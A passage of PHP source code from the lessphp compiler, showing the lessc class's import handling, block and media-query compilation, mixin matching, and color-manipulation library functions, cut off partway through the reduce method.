are brought to the lowest form before being dump as strings. This * handles math equations, variable dereferences, and the like. * * The `parse` function of `lessc` is the entry point. * * In summary: * * The `lessc` class creates an instance of the parser, feeds it LESS code, * then transforms the resulting tree to a CSS tree. This class also holds the * evaluation context, such as all available mixins and variables at any given * time. * * The `lessc_parser` class is only concerned with parsing its input. * * The `lessc_formatter` takes a CSS tree, and dumps it to a formatted string, * handling things like indentation. */ class lessc { public static $VERSION = "v0.5.0"; public static $TRUE = array("keyword", "true"); public static $FALSE = array("keyword", "false"); protected $libFunctions = array(); protected $registeredVars = array(); protected $preserveComments = false; public $vPrefix = '@'; // prefix of abstract properties public $mPrefix = '$'; // prefix of abstract blocks public $parentSelector = '&'; public $importDisabled = false; public $importDir = ''; protected $numberPrecision = null; protected $allParsedFiles = array(); // set to the parser that generated the current line when compiling // so we know how to create error messages protected $sourceParser = null; protected $sourceLoc = null; protected static $nextImportId = 0; // uniquely identify imports // attempts to find the path of an import url, returns null for css files protected function findImport($url) { foreach ((array)$this->importDir as $dir) { $full = $dir.(substr($dir, -1) != '/' ? '/' : '').$url; if ($this->fileExists($file = $full.'.less') || $this->fileExists($file = $full)) { return $file; } } return null; } protected function fileExists($name) { return is_file($name); } public static function compressList($items, $delim) { if (!isset($items[1]) && isset($items[0])) return $items[0]; else return array('list', $delim, $items); } public static function preg_quote($what) { return preg_quote($what, '/'); } protected function tryImport($importPath, $parentBlock, $out) { if ($importPath[0] == "function" && $importPath[1] == "url") { $importPath = $this->flattenList($importPath[2]); } $str = $this->coerceString($importPath); if ($str === null) return false; $url = $this->compileValue($this->lib_e($str)); // don't import if it ends in css if (substr_compare($url, '.css', -4, 4) === 0) return false; $realPath = $this->findImport($url); if ($realPath === null) return false; if ($this->importDisabled) { return array(false, "/* import disabled */"); } if (isset($this->allParsedFiles[realpath($realPath)])) { return array(false, null); } $this->addParsedFile($realPath); $parser = $this->makeParser($realPath); $root = $parser->parse(file_get_contents($realPath)); // set the parents of all the block props foreach ($root->props as $prop) { if ($prop[0] == "block") { $prop[1]->parent = $parentBlock; } } // copy mixins into scope, set their parents // bring blocks from import into current block // TODO: need to mark the source parser these came from this file foreach ($root->children as $childName => $child) { if (isset($parentBlock->children[$childName])) { $parentBlock->children[$childName] = array_merge( $parentBlock->children[$childName], $child); } else { $parentBlock->children[$childName] = $child; } } $pi = pathinfo($realPath); $dir = $pi["dirname"]; list($top, $bottom) = $this->sortProps($root->props, true); $this->compileImportedProps($top, $parentBlock, $out, $parser, $dir); return array(true, $bottom, $parser, $dir); } protected function compileImportedProps($props, $block, $out, $sourceParser, $importDir) { $oldSourceParser = $this->sourceParser; $oldImport = $this->importDir; // TODO: this is because the importDir api is stupid $this->importDir = (array)$this->importDir; array_unshift($this->importDir, $importDir); foreach ($props as $prop) { $this->compileProp($prop, $block, $out); } $this->importDir = $oldImport; $this->sourceParser = $oldSourceParser; } /** * Recursively compiles a block. * * A block is analogous to a CSS block in most cases. A single LESS document * is encapsulated in a block when parsed, but it does not have parent tags * so all of it's children appear on the root level when compiled. * * Blocks are made up of props and children. * * Props are property instructions, array tuples which describe an action * to be taken, eg. write a property, set a variable, mixin a block. * * The children of a block are just all the blocks that are defined within. * This is used to look up mixins when performing a mixin. * * Compiling the block involves pushing a fresh environment on the stack, * and iterating through the props, compiling each one. * * See lessc::compileProp() * */ protected function compileBlock($block) { switch ($block->type) { case "root": $this->compileRoot($block); break; case null: $this->compileCSSBlock($block); break; case "media": $this->compileMedia($block); break; case "directive": $name = "@" . $block->name; if (!empty($block->value)) { $name .= " " . $this->compileValue($this->reduce($block->value)); } $this->compileNestedBlock($block, array($name)); break; default: $this->throwError("unknown block type: $block->type\n"); } } protected function compileCSSBlock($block) { $env = $this->pushEnv(); $selectors = $this->compileSelectors($block->tags); $env->selectors = $this->multiplySelectors($selectors); $out = $this->makeOutputBlock(null, $env->selectors); $this->scope->children[] = $out; $this->compileProps($block, $out); $block->scope = $env; // mixins carry scope with them! $this->popEnv(); } protected function compileMedia($media) { $env = $this->pushEnv($media); $parentScope = $this->mediaParent($this->scope); $query = $this->compileMediaQuery($this->multiplyMedia($env)); $this->scope = $this->makeOutputBlock($media->type, array($query)); $parentScope->children[] = $this->scope; $this->compileProps($media, $this->scope); if (count($this->scope->lines) > 0) { $orphanSelelectors = $this->findClosestSelectors(); if (!is_null($orphanSelelectors)) { $orphan = $this->makeOutputBlock(null, $orphanSelelectors); $orphan->lines = $this->scope->lines; array_unshift($this->scope->children, $orphan); $this->scope->lines = array(); } } $this->scope = $this->scope->parent; $this->popEnv(); } protected function mediaParent($scope) { while (!empty($scope->parent)) { if (!empty($scope->type) && $scope->type != "media") { break; } $scope = $scope->parent; } return $scope; } protected function compileNestedBlock($block, $selectors) { $this->pushEnv($block); $this->scope = $this->makeOutputBlock($block->type, $selectors); $this->scope->parent->children[] = $this->scope; $this->compileProps($block, $this->scope); $this->scope = $this->scope->parent; $this->popEnv(); } protected function compileRoot($root) { $this->pushEnv(); $this->scope = $this->makeOutputBlock($root->type); $this->compileProps($root, $this->scope); $this->popEnv(); } protected function compileProps($block, $out) { foreach ($this->sortProps($block->props) as $prop) { $this->compileProp($prop, $block, $out); } $out->lines = $this->deduplicate($out->lines); } /** * Deduplicate lines in a block. Comments are not deduplicated. If a * duplicate rule is detected, the comments immediately preceding each * occurence are consolidated. */ protected function deduplicate($lines) { $unique = array(); $comments = array(); foreach ($lines as $line) { if (strpos($line, '/*') === 0) { $comments[] = $line; continue; } if (!in_array($line, $unique)) { $unique[] = $line; } array_splice($unique, array_search($line, $unique), 0, $comments); $comments = array(); } return array_merge($unique, $comments); } protected function sortProps($props, $split = false) { $vars = array(); $imports = array(); $other = array(); $stack = array(); foreach ($props as $prop) { switch ($prop[0]) { case "comment": $stack[] = $prop; break; case "assign": $stack[] = $prop; if (isset($prop[1][0]) && $prop[1][0] == $this->vPrefix) { $vars = array_merge($vars, $stack); } else { $other = array_merge($other, $stack); } $stack = array(); break; case "import": $id = self::$nextImportId++; $prop[] = $id; $stack[] = $prop; $imports = array_merge($imports, $stack); $other[] = array("import_mixin", $id); $stack = array(); break; default: $stack[] = $prop; $other = array_merge($other, $stack); $stack = array(); break; } } $other = array_merge($other, $stack); if ($split) { return array(array_merge($imports, $vars), $other); } else { return array_merge($imports, $vars, $other); } } protected function compileMediaQuery($queries) { $compiledQueries = array(); foreach ($queries as $query) { $parts = array(); foreach ($query as $q) { switch ($q[0]) { case "mediaType": $parts[] = implode(" ", array_slice($q, 1)); break; case "mediaExp": if (isset($q[2])) { $parts[] = "($q[1]: " . $this->compileValue($this->reduce($q[2])) . ")"; } else { $parts[] = "($q[1])"; } break; case "variable": $parts[] = $this->compileValue($this->reduce($q)); break; } } if (count($parts) > 0) { $compiledQueries[] = implode(" and ", $parts); } } $out = "@media"; if (!empty($parts)) { $out .= " " . implode($this->formatter->selectorSeparator, $compiledQueries); } return $out; } protected function multiplyMedia($env, $childQueries = null) { if (is_null($env) || !empty($env->block->type) && $env->block->type != "media" ) { return $childQueries; } // plain old block, skip if (empty($env->block->type)) { return $this->multiplyMedia($env->parent, $childQueries); } $out = array(); $queries = $env->block->queries; if (is_null($childQueries)) { $out = $queries; } else { foreach ($queries as $parent) { foreach ($childQueries as $child) { $out[] = array_merge($parent, $child); } } } return $this->multiplyMedia($env->parent, $out); } protected function expandParentSelectors(&$tag, $replace) { $parts = explode("$&$", $tag); $count = 0; foreach ($parts as &$part) { $part = str_replace($this->parentSelector, $replace, $part, $c); $count += $c; } $tag = implode($this->parentSelector, $parts); return $count; } protected function findClosestSelectors() { $env = $this->env; $selectors = null; while ($env !== null) { if (isset($env->selectors)) { $selectors = $env->selectors; break; } $env = $env->parent; } return $selectors; } // multiply $selectors against the nearest selectors in env protected function multiplySelectors($selectors) { // find parent selectors $parentSelectors = $this->findClosestSelectors(); if (is_null($parentSelectors)) { // kill parent reference in top level selector foreach ($selectors as &$s) { $this->expandParentSelectors($s, ""); } return $selectors; } $out = array(); foreach ($parentSelectors as $parent) { foreach ($selectors as $child) { $count = $this->expandParentSelectors($child, $parent); // don't prepend the parent tag if & was used if ($count > 0) { $out[] = trim($child); } else { $out[] = trim($parent . ' ' . $child); } } } return $out; } // reduces selector expressions protected function compileSelectors($selectors) { $out = array(); foreach ($selectors as $s) { if (is_array($s)) { list(, $value) = $s; $out[] = trim($this->compileValue($this->reduce($value))); } else { $out[] = $s; } } return $out; } protected function eq($left, $right) { return $left == $right; } protected function patternMatch($block, $orderedArgs, $keywordArgs) { // match the guards if it has them // any one of the groups must have all its guards pass for a match if (!empty($block->guards)) { $groupPassed = false; foreach ($block->guards as $guardGroup) { foreach ($guardGroup as $guard) { $this->pushEnv(); $this->zipSetArgs($block->args, $orderedArgs, $keywordArgs); $negate = false; if ($guard[0] == "negate") { $guard = $guard[1]; $negate = true; } $passed = $this->reduce($guard) == self::$TRUE; if ($negate) $passed = !$passed; $this->popEnv(); if ($passed) { $groupPassed = true; } else { $groupPassed = false; break; } } if ($groupPassed) break; } if (!$groupPassed) { return false; } } if (empty($block->args)) { return $block->isVararg || empty($orderedArgs) && empty($keywordArgs); } $remainingArgs = $block->args; if ($keywordArgs) { $remainingArgs = array(); foreach ($block->args as $arg) { if ($arg[0] == "arg" && isset($keywordArgs[$arg[1]])) { continue; } $remainingArgs[] = $arg; } } $i = -1; // no args // try to match by arity or by argument literal foreach ($remainingArgs as $i => $arg) { switch ($arg[0]) { case "lit": if (empty($orderedArgs[$i]) || !$this->eq($arg[1], $orderedArgs[$i])) { return false; } break; case "arg": // no arg and no default value if (!isset($orderedArgs[$i]) && !isset($arg[2])) { return false; } break; case "rest": $i--; // rest can be empty break 2; } } if ($block->isVararg) { return true; // not having enough is handled above } else { $numMatched = $i + 1; // greater than because default values always match return $numMatched >= count($orderedArgs); } } protected function patternMatchAll($blocks, $orderedArgs, $keywordArgs, $skip = array()) { $matches = null; foreach ($blocks as $block) { // skip seen blocks that don't have arguments if (isset($skip[$block->id]) && !isset($block->args)) { continue; } if ($this->patternMatch($block, $orderedArgs, $keywordArgs)) { $matches[] = $block; } } return $matches; } // attempt to find blocks matched by path and args protected function findBlocks($searchIn, $path, $orderedArgs, $keywordArgs, $seen = array()) { if ($searchIn == null) return null; if (isset($seen[$searchIn->id])) return null; $seen[$searchIn->id] = true; $name = $path[0]; if (isset($searchIn->children[$name])) { $blocks = $searchIn->children[$name]; if (count($path) == 1) { $matches = $this->patternMatchAll($blocks, $orderedArgs, $keywordArgs, $seen); if (!empty($matches)) { // This will return all blocks that match in the closest // scope that has any matching block, like lessjs return $matches; } } else { $matches = array(); foreach ($blocks as $subBlock) { $subMatches = $this->findBlocks($subBlock, array_slice($path, 1), $orderedArgs, $keywordArgs, $seen); if (!is_null($subMatches)) { foreach ($subMatches as $sm) { $matches[] = $sm; } } } return count($matches) > 0 ? $matches : null; } } if ($searchIn->parent === $searchIn) return null; return $this->findBlocks($searchIn->parent, $path, $orderedArgs, $keywordArgs, $seen); } // sets all argument names in $args to either the default value // or the one passed in through $values protected function zipSetArgs($args, $orderedValues, $keywordValues) { $assignedValues = array(); $i = 0; foreach ($args as $a) { if ($a[0] == "arg") { if (isset($keywordValues[$a[1]])) { // has keyword arg $value = $keywordValues[$a[1]]; } elseif (isset($orderedValues[$i])) { // has ordered arg $value = $orderedValues[$i]; $i++; } elseif (isset($a[2])) { // has default value $value = $a[2]; } else { $this->throwError("Failed to assign arg " . $a[1]); $value = null; // :( } $value = $this->reduce($value); $this->set($a[1], $value); $assignedValues[] = $value; } else { // a lit $i++; } } // check for a rest $last = end($args); if ($last[0] == "rest") { $rest = array_slice($orderedValues, count($args) - 1); $this->set($last[1], $this->reduce(array("list", " ", $rest))); } // wow is this the only true use of PHP's + operator for arrays? $this->env->arguments = $assignedValues + $orderedValues; } // compile a prop and update $lines or $blocks appropriately protected function compileProp($prop, $block, $out) { // set error position context $this->sourceLoc = isset($prop[-1]) ? $prop[-1] : -1; switch ($prop[0]) { case 'assign': list(, $name, $value) = $prop; if ($name[0] == $this->vPrefix) { $this->set($name, $value); } else { $out->lines[] = $this->formatter->property($name, $this->compileValue($this->reduce($value))); } break; case 'block': list(, $child) = $prop; $this->compileBlock($child); break; case 'mixin': list(, $path, $args, $suffix) = $prop; $orderedArgs = array(); $keywordArgs = array(); foreach ((array)$args as $arg) { $argval = null; switch ($arg[0]) { case "arg": if (!isset($arg[2])) { $orderedArgs[] = $this->reduce(array("variable", $arg[1])); } else { $keywordArgs[$arg[1]] = $this->reduce($arg[2]); } break; case "lit": $orderedArgs[] = $this->reduce($arg[1]); break; default: $this->throwError("Unknown arg type: " . $arg[0]); } } $mixins = $this->findBlocks($block, $path, $orderedArgs, $keywordArgs); if ($mixins === null) { $this->throwError("{$prop[1][0]} is undefined"); } foreach ($mixins as $mixin) { if ($mixin === $block && !$orderedArgs) { continue; } $haveScope = false; if (isset($mixin->parent->scope)) { $haveScope = true; $mixinParentEnv = $this->pushEnv(); $mixinParentEnv->storeParent = $mixin->parent->scope; } $haveArgs = false; if (isset($mixin->args)) { $haveArgs = true; $this->pushEnv(); $this->zipSetArgs($mixin->args, $orderedArgs, $keywordArgs); } $oldParent = $mixin->parent; if ($mixin != $block) $mixin->parent = $block; foreach ($this->sortProps($mixin->props) as $subProp) { if ($suffix !== null && $subProp[0] == "assign" && is_string($subProp[1]) && $subProp[1][0] != $this->vPrefix ) { $subProp[2] = array( 'list', ' ', array($subProp[2], array('keyword', $suffix)) ); } $this->compileProp($subProp, $mixin, $out); } $mixin->parent = $oldParent; if ($haveArgs) $this->popEnv(); if ($haveScope) $this->popEnv(); } break; case 'raw': $out->lines[] = $prop[1]; break; case "directive": list(, $name, $value) = $prop; $out->lines[] = "@$name " . $this->compileValue($this->reduce($value)).';'; break; case "comment": $out->lines[] = $prop[1]; break; case "import": list(, $importPath, $importId) = $prop; $importPath = $this->reduce($importPath); if (!isset($this->env->imports)) { $this->env->imports = array(); } $result = $this->tryImport($importPath, $block, $out); $this->env->imports[$importId] = $result === false ? array(false, "@import " . $this->compileValue($importPath).";") : $result; break; case "import_mixin": list(,$importId) = $prop; $import = $this->env->imports[$importId]; if ($import[0] === false) { if (isset($import[1])) { $out->lines[] = $import[1]; } } else { list(, $bottom, $parser, $importDir) = $import; $this->compileImportedProps($bottom, $block, $out, $parser, $importDir); } break; default: $this->throwError("unknown op: {$prop[0]}\n"); } } /** * Compiles a primitive value into a CSS property value. * * Values in lessphp are typed by being wrapped in arrays, their format is * typically: * * array(type, contents [, additional_contents]*) * * The input is expected to be reduced. This function will not work on * things like expressions and variables. */ public function compileValue($value) { switch ($value[0]) { case 'list': // [1] - delimiter // [2] - array of values return implode($value[1], array_map(array($this, 'compileValue'), $value[2])); case 'raw_color': if (!empty($this->formatter->compressColors)) { return $this->compileValue($this->coerceColor($value)); } return $value[1]; case 'keyword': // [1] - the keyword return $value[1]; case 'number': list(, $num, $unit) = $value; // [1] - the number // [2] - the unit if ($this->numberPrecision !== null) { $num = round($num, $this->numberPrecision); } return $num . $unit; case 'string': // [1] - contents of string (includes quotes) list(, $delim, $content) = $value; foreach ($content as &$part) { if (is_array($part)) { $part = $this->compileValue($part); } } return $delim . implode($content) . $delim; case 'color': // [1] - red component (either number or a %) // [2] - green component // [3] - blue component // [4] - optional alpha component list(, $r, $g, $b) = $value; $r = round($r); $g = round($g); $b = round($b); if (count($value) == 5 && $value[4] != 1) { // rgba return 'rgba('.$r.','.$g.','.$b.','.$value[4].')'; } $h = sprintf("#%02x%02x%02x", $r, $g, $b); if (!empty($this->formatter->compressColors)) { // Converting hex color to short notation (e.g. #003399 to #039) if ($h[1] === $h[2] && $h[3] === $h[4] && $h[5] === $h[6]) { $h = '#' . $h[1] . $h[3] . $h[5]; } } return $h; case 'function': list(, $name, $args) = $value; return $name.'('.$this->compileValue($args).')'; default: // assumed to be unit $this->throwError("unknown value type: $value[0]"); } } protected function lib_pow($args) { list($base, $exp) = $this->assertArgs($args, 2, "pow"); return pow($this->assertNumber($base), $this->assertNumber($exp)); } protected function lib_pi() { return pi(); } protected function lib_mod($args) { list($a, $b) = $this->assertArgs($args, 2, "mod"); return $this->assertNumber($a) % $this->assertNumber($b); } protected function lib_tan($num) { return tan($this->assertNumber($num)); } protected function lib_sin($num) { return sin($this->assertNumber($num)); } protected function lib_cos($num) { return cos($this->assertNumber($num)); } protected function lib_atan($num) { $num = atan($this->assertNumber($num)); return array("number", $num, "rad"); } protected function lib_asin($num) { $num = asin($this->assertNumber($num)); return array("number", $num, "rad"); } protected function lib_acos($num) { $num = acos($this->assertNumber($num)); return array("number", $num, "rad"); } protected function lib_sqrt($num) { return sqrt($this->assertNumber($num)); } protected function lib_extract($value) { list($list, $idx) = $this->assertArgs($value, 2, "extract"); $idx = $this->assertNumber($idx); // 1 indexed if ($list[0] == "list" && isset($list[2][$idx - 1])) { return $list[2][$idx - 1]; } } protected function lib_isnumber($value) { return $this->toBool($value[0] == "number"); } protected function lib_isstring($value) { return $this->toBool($value[0] == "string"); } protected function lib_iscolor($value) { return $this->toBool($this->coerceColor($value)); } protected function lib_iskeyword($value) { return $this->toBool($value[0] == "keyword"); } protected function lib_ispixel($value) { return $this->toBool($value[0] == "number" && $value[2] == "px"); } protected function lib_ispercentage($value) { return $this->toBool($value[0] == "number" && $value[2] == "%"); } protected function lib_isem($value) { return $this->toBool($value[0] == "number" && $value[2] == "em"); } protected function lib_isrem($value) { return $this->toBool($value[0] == "number" && $value[2] == "rem"); } protected function lib_rgbahex($color) { $color = $this->coerceColor($color); if (is_null($color)) { $this->throwError("color expected for rgbahex"); } return sprintf("#%02x%02x%02x%02x", isset($color[4]) ? $color[4] * 255 : 255, $color[1], $color[2], $color[3] ); } protected function lib_argb($color){ return $this->lib_rgbahex($color); } /** * Given an url, decide whether to output a regular link or the base64-encoded contents of the file * * @param array $value either an argument list (two strings) or a single string * @return string formatted url(), either as a link or base64-encoded */ protected function lib_data_uri($value) { $mime = ($value[0] === 'list') ? $value[2][0][2] : null; $url = ($value[0] === 'list') ? $value[2][1][2][0] : $value[2][0]; $fullpath = $this->findImport($url); if ($fullpath && ($fsize = filesize($fullpath)) !== false) { // IE8 can't handle data uris larger than 32KB if ($fsize/1024 < 32) { if (is_null($mime)) { if (class_exists('finfo')) { // php 5.3+ $finfo = new finfo(FILEINFO_MIME); $mime = explode('; ', $finfo->file($fullpath)); $mime = $mime[0]; } elseif (function_exists('mime_content_type')) { // PHP 5.2 $mime = mime_content_type($fullpath); } } if (!is_null($mime)) // fallback if the mime type is still unknown $url = sprintf('data:%s;base64,%s', $mime, base64_encode(file_get_contents($fullpath))); } } return 'url("'.$url.'")'; } // utility func to unquote a string protected function lib_e($arg) { switch ($arg[0]) { case "list": $items = $arg[2]; if (isset($items[0])) { return $this->lib_e($items[0]); } $this->throwError("unrecognised input"); case "string": $arg[1] = ""; return $arg; case "keyword": return $arg; default: return array("keyword", $this->compileValue($arg)); } } protected function lib__sprintf($args) { if ($args[0] != "list") return $args; $values = $args[2]; $string = array_shift($values); $template = $this->compileValue($this->lib_e($string)); $i = 0; if (preg_match_all('/%[dsa]/', $template, $m)) { foreach ($m[0] as $match) { $val = isset($values[$i]) ? $this->reduce($values[$i]) : array('keyword', ''); // lessjs compat, renders fully expanded color, not raw color if ($color = $this->coerceColor($val)) { $val = $color; } $i++; $rep = $this->compileValue($this->lib_e($val)); $template = preg_replace('/'.self::preg_quote($match).'/', $rep, $template, 1); } } $d = $string[0] == "string" ? $string[1] : '"'; return array("string", $d, array($template)); } protected function lib_floor($arg) { $value = $this->assertNumber($arg); return array("number", floor($value), $arg[2]); } protected function lib_ceil($arg) { $value = $this->assertNumber($arg); return array("number", ceil($value), $arg[2]); } protected function lib_round($arg) { if ($arg[0] != "list") { $value = $this->assertNumber($arg); return array("number", round($value), $arg[2]); } else { $value = $this->assertNumber($arg[2][0]); $precision = $this->assertNumber($arg[2][1]); return array("number", round($value, $precision), $arg[2][0][2]); } } protected function lib_unit($arg) { if ($arg[0] == "list") { list($number, $newUnit) = $arg[2]; return array("number", $this->assertNumber($number), $this->compileValue($this->lib_e($newUnit))); } else { return array("number", $this->assertNumber($arg), ""); } } /** * Helper function to get arguments for color manipulation functions. * takes a list that contains a color like thing and a percentage */ public function colorArgs($args) { if ($args[0] != 'list' || count($args[2]) < 2) { return array(array('color', 0, 0, 0), 0); } list($color, $delta) = $args[2]; $color = $this->assertColor($color); $delta = floatval($delta[1]); return array($color, $delta); } protected function lib_darken($args) { list($color, $delta) = $this->colorArgs($args); $hsl = $this->toHSL($color); $hsl[3] = $this->clamp($hsl[3] - $delta, 100); return $this->toRGB($hsl); } protected function lib_lighten($args) { list($color, $delta) = $this->colorArgs($args); $hsl = $this->toHSL($color); $hsl[3] = $this->clamp($hsl[3] + $delta, 100); return $this->toRGB($hsl); } protected function lib_saturate($args) { list($color, $delta) = $this->colorArgs($args); $hsl = $this->toHSL($color); $hsl[2] = $this->clamp($hsl[2] + $delta, 100); return $this->toRGB($hsl); } protected function lib_desaturate($args) { list($color, $delta) = $this->colorArgs($args); $hsl = $this->toHSL($color); $hsl[2] = $this->clamp($hsl[2] - $delta, 100); return $this->toRGB($hsl); } protected function lib_spin($args) { list($color, $delta) = $this->colorArgs($args); $hsl = $this->toHSL($color); $hsl[1] = $hsl[1] + $delta % 360; if ($hsl[1] < 0) { $hsl[1] += 360; } return $this->toRGB($hsl); } protected function lib_fadeout($args) { list($color, $delta) = $this->colorArgs($args); $color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) - $delta/100); return $color; } protected function lib_fadein($args) { list($color, $delta) = $this->colorArgs($args); $color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) + $delta/100); return $color; } protected function lib_hue($color) { $hsl = $this->toHSL($this->assertColor($color)); return round($hsl[1]); } protected function lib_saturation($color) { $hsl = $this->toHSL($this->assertColor($color)); return round($hsl[2]); } protected function lib_lightness($color) { $hsl = $this->toHSL($this->assertColor($color)); return round($hsl[3]); } // get the alpha of a color // defaults to 1 for non-colors or colors without an alpha protected function lib_alpha($value) { if (!is_null($color = $this->coerceColor($value))) { return isset($color[4]) ? $color[4] : 1; } } // set the alpha of the color protected function lib_fade($args) { list($color, $alpha) = $this->colorArgs($args); $color[4] = $this->clamp($alpha / 100.0); return $color; } protected function lib_percentage($arg) { $num = $this->assertNumber($arg); return array("number", $num*100, "%"); } /** * Mix color with white in variable proportion. * * It is the same as calling `mix(#ffffff, @color, @weight)`. * * tint(@color, [@weight: 50%]); * * http://lesscss.org/functions/#color-operations-tint * * @return array Color */ protected function lib_tint($args) { $white = array('color', 255, 255, 255); if ($args[0] == 'color') { return $this->lib_mix(array( 'list', ',', array($white, $args) )); } elseif ($args[0] == "list" && count($args[2]) == 2) { return $this->lib_mix(array( $args[0], $args[1], array($white, $args[2][0], $args[2][1]) )); } else { $this->throwError("tint expects (color, weight)"); } } /** * Mix color with black in variable proportion. * * It is the same as calling `mix(#000000, @color, @weight)` * * shade(@color, [@weight: 50%]); * * http://lesscss.org/functions/#color-operations-shade * * @return array Color */ protected function lib_shade($args) { $black = array('color', 0, 0, 0); if ($args[0] == 'color') { return $this->lib_mix(array( 'list', ',', array($black, $args) )); } elseif ($args[0] == "list" && count($args[2]) == 2) { return $this->lib_mix(array( $args[0], $args[1], array($black, $args[2][0], $args[2][1]) )); } else { $this->throwError("shade expects (color, weight)"); } } // mixes two colors by weight // mix(@color1, @color2, [@weight: 50%]); // http://sass-lang.com/docs/yardoc/Sass/Script/Functions.html#mix-instance_method protected function lib_mix($args) { if ($args[0] != "list" || count($args[2]) < 2) $this->throwError("mix expects (color1, color2, weight)"); list($first, $second) = $args[2]; $first = $this->assertColor($first); $second = $this->assertColor($second); $first_a = $this->lib_alpha($first); $second_a = $this->lib_alpha($second); if (isset($args[2][2])) { $weight = $args[2][2][1] / 100.0; } else { $weight = 0.5; } $w = $weight * 2 - 1; $a = $first_a - $second_a; $w1 = (($w * $a == -1 ? $w : ($w + $a)/(1 + $w * $a)) + 1) / 2.0; $w2 = 1.0 - $w1; $new = array('color', $w1 * $first[1] + $w2 * $second[1], $w1 * $first[2] + $w2 * $second[2], $w1 * $first[3] + $w2 * $second[3], ); if ($first_a != 1.0 || $second_a != 1.0) { $new[] = $first_a * $weight + $second_a * ($weight - 1); } return $this->fixColor($new); } protected function lib_contrast($args) { $darkColor = array('color', 0, 0, 0); $lightColor = array('color', 255, 255, 255); $threshold = 0.43; if ( $args[0] == 'list' ) { $inputColor = ( isset($args[2][0]) ) ? $this->assertColor($args[2][0]) : $lightColor; $darkColor = ( isset($args[2][1]) ) ? $this->assertColor($args[2][1]) : $darkColor; $lightColor = ( isset($args[2][2]) ) ? $this->assertColor($args[2][2]) : $lightColor; $threshold = ( isset($args[2][3]) ) ? $this->assertNumber($args[2][3]) : $threshold; } else { $inputColor = $this->assertColor($args); } $inputColor = $this->coerceColor($inputColor); $darkColor = $this->coerceColor($darkColor); $lightColor = $this->coerceColor($lightColor); //Figure out which is actually light and dark! if ( $this->toLuma($darkColor) > $this->toLuma($lightColor) ) { $t = $lightColor; $lightColor = $darkColor; $darkColor = $t; } $inputColor_alpha = $this->lib_alpha($inputColor); if ( ( $this->toLuma($inputColor) * $inputColor_alpha) < $threshold) { return $lightColor; } return $darkColor; } private function toLuma($color) { list(, $r, $g, $b) = $this->coerceColor($color); $r = $r / 255; $g = $g / 255; $b = $b / 255; $r = ($r <= 0.03928) ? $r / 12.92 : pow((($r + 0.055) / 1.055), 2.4); $g = ($g <= 0.03928) ? $g / 12.92 : pow((($g + 0.055) / 1.055), 2.4); $b = ($b <= 0.03928) ? $b / 12.92 : pow((($b + 0.055) / 1.055), 2.4); return (0.2126 * $r) + (0.7152 * $g) + (0.0722 * $b); } protected function lib_luma($color) { return array("number", round($this->toLuma($color) * 100, 8), "%"); } public function assertColor($value, $error = "expected color value") { $color = $this->coerceColor($value); if (is_null($color)) $this->throwError($error); return $color; } public function assertNumber($value, $error = "expecting number") { if ($value[0] == "number") return $value[1]; $this->throwError($error); } public function assertArgs($value, $expectedArgs, $name = "") { if ($expectedArgs == 1) { return $value; } else { if ($value[0] !== "list" || $value[1] != ",") $this->throwError("expecting list"); $values = $value[2]; $numValues = count($values); if ($expectedArgs != $numValues) { if ($name) { $name = $name . ": "; } $this->throwError("${name}expecting $expectedArgs arguments, got $numValues"); } return $values; } } protected function toHSL($color) { if ($color[0] === 'hsl') { return $color; } $r = $color[1] / 255; $g = $color[2] / 255; $b = $color[3] / 255; $min = min($r, $g, $b); $max = max($r, $g, $b); $L = ($min + $max) / 2; if ($min == $max) { $S = $H = 0; } else { if ($L < 0.5) { $S = ($max - $min) / ($max + $min); } else { $S = ($max - $min) / (2.0 - $max - $min); } if ($r == $max) { $H = ($g - $b) / ($max - $min); } elseif ($g == $max) { $H = 2.0 + ($b - $r) / ($max - $min); } elseif ($b == $max) { $H = 4.0 + ($r - $g) / ($max - $min); } } $out = array('hsl', ($H < 0 ? $H + 6 : $H)*60, $S * 100, $L * 100, ); if (count($color) > 4) { // copy alpha $out[] = $color[4]; } return $out; } protected function toRGB_helper($comp, $temp1, $temp2) { if ($comp < 0) { $comp += 1.0; } elseif ($comp > 1) { $comp -= 1.0; } if (6 * $comp < 1) { return $temp1 + ($temp2 - $temp1) * 6 * $comp; } if (2 * $comp < 1) { return $temp2; } if (3 * $comp < 2) { return $temp1 + ($temp2 - $temp1)*((2/3) - $comp) * 6; } return $temp1; } /** * Converts a hsl array into a color value in rgb. * Expects H to be in range of 0 to 360, S and L in 0 to 100 */ protected function toRGB($color) { if ($color[0] === 'color') { return $color; } $H = $color[1] / 360; $S = $color[2] / 100; $L = $color[3] / 100; if ($S == 0) { $r = $g = $b = $L; } else { $temp2 = $L < 0.5 ? $L * (1.0 + $S) : $L + $S - $L * $S; $temp1 = 2.0 * $L - $temp2; $r = $this->toRGB_helper($H + 1/3, $temp1, $temp2); $g = $this->toRGB_helper($H, $temp1, $temp2); $b = $this->toRGB_helper($H - 1/3, $temp1, $temp2); } // $out = array('color', round($r*255), round($g*255), round($b*255)); $out = array('color', $r*255, $g*255, $b*255); if (count($color) > 4) { // copy alpha $out[] = $color[4]; } return $out; } protected function clamp($v, $max = 1, $min = 0) { return min($max, max($min, $v)); } /** * Convert the rgb, rgba, hsl color literals of function type * as returned by the parser into values of color type. */ protected function funcToColor($func) { $fname = $func[1]; if ($func[2][0] != 'list') { // need a list of arguments return false; } $rawComponents = $func[2][2]; if ($fname == 'hsl' || $fname == 'hsla') { $hsl = array('hsl'); $i = 0; foreach ($rawComponents as $c) { $val = $this->reduce($c); $val = isset($val[1]) ? floatval($val[1]) : 0; if ($i == 0) { $clamp = 360; } elseif ($i < 3) { $clamp = 100; } else { $clamp = 1; } $hsl[] = $this->clamp($val, $clamp); $i++; } while (count($hsl) < 4) { $hsl[] = 0; } return $this->toRGB($hsl); } elseif ($fname == 'rgb' || $fname == 'rgba') { $components = array(); $i = 1; foreach ($rawComponents as $c) { $c = $this->reduce($c); if ($i < 4) { if ($c[0] == "number" && $c[2] == "%") { $components[] = 255 * ($c[1] / 100); } else { $components[] = floatval($c[1]); } } elseif ($i == 4) { if ($c[0] == "number" && $c[2] == "%") { $components[] = 1.0 * ($c[1] / 100); } else { $components[] = floatval($c[1]); } } else break; $i++; } while (count($components) < 3) { $components[] = 0; } array_unshift($components, 'color'); return $this->fixColor($components); } return false; } protected function reduce($value, $forExpression = false) { switch ($value[0]) { case "interpolate": $reduced = $this->reduce($value[1]); $var = $this->compileValue($reduced); $res = $this->reduce(array("variable", $this->vPrefix . $var)); if ($res[0] == "raw_color") { $res = $this->coerceColor($res); } if 